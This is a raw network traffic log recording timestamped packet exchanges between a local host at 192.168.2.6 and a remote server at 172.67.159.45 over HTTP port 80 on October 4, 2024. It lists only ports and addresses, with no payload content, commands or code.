Oct 4, 2024 04:28:02.620326996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620433092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620445013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620455027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620512962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620512962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620614052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620625019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620635033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620680094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620680094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620812893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620824099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620839119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620913982 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620970011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.621078968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621150017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.621354103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621364117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621372938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621382952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621392012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621397018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621400118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.621402025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621437073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.621577978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.621874094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621885061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621893883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621906996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621917009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621927023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.621944904 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.621973038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.621973038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.622334003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622344017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622353077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622361898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622370958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622380972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622425079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.622425079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.622924089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622940063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622950077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622958899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622968912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622978926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622988939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.622992992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623006105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623014927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.623014927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.623060942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.623091936 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.623548031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623559952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623569965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623580933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623589039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623600006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623610020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.623645067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.623645067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.623735905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.711932898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.711956024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.711985111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712018013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712018013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712137938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712150097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712160110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712189913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712189913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712251902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712368011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712479115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712481022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712491989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712531090 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712676048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712687016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712810040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.712901115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712910891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712920904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712930918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712941885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.712944031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713005066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713005066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713351965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713454962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713474035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713485003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713496923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713541031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713562012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713706970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713728905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713743925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713753939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713763952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.713800907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713800907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713800907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.713891029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.714277029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714287996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714298010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714308977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714318991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714329004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714338064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714344025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.714344025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.714349031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.714395046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.714395046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.905617952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905666113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905700922 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.905724049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905734062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905767918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.905767918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.905862093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905872107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905880928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905890942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905898094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.905922890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.905922890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.905950069 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.906183004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906196117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906279087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.906307936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906342030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906352043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906362057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906392097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.906392097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.906416893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.906611919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906620979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906632900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906642914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906651974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.906677961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.906874895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.907018900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907028913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907037973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907047987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907058001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907067060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907075882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907085896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907099962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907108068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.907108068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.907151937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.907151937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.907684088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907694101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907702923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907711983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907721996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907732010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.907754898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.907819986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.908051014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908061981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908071995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908082008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908092976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908143997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.908143997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.908504009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908514023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908524036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908533096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908543110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908552885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908559084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.908565044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908575058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908586025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908595085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908605099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.908615112 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.908615112 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.908648014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.908648014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.910602093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.910650015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.910660028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.910670042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.910722971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.910722971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.910763979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.910864115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.910873890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.910900116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.910921097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.911063910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911073923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911083937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911094904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911113977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.911144018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.911449909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911461115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911469936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911480904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911490917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911499977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911511898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911521912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.911523104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.911521912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.911571026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.911571026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.911992073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912071943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912082911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912130117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912130117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912240982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912250996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912309885 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912359953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912383080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912393093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912404060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912414074 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912415981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912429094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912430048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912475109 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912475109 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912820101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912882090 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.912983894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.912995100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913006067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913017035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913028002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913038015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913048983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913058043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913067102 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.913067102 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.913069963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913079977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913100958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.913100958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.913312912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.913700104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913712025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913816929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.913913965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913924932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913935900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913947105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913958073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913969040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.913996935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.913996935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.914351940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.914361954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.914372921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.914428949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.914428949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.916466951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.916501045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.916518927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.916538954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.916568041 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.916603088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.916651964 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.916651964 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.916760921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.916788101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.916806936 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.916843891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.916912079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.916922092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917007923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.917062044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917072058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917082071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917113066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.917136908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.917246103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917258978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917423964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917434931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917445898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917457104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917468071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.917468071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.917510986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.917649031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.917696953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.997843981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.997905016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.997915983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.997927904 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.997957945 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998094082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998095036 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998147964 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998193979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998205900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998234987 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998251915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998399973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998409986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998420954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998430967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998440981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998456001 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998680115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998749018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998760939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998864889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.998864889 CEST	49740	80	192.168.2.6	172.67.159.45
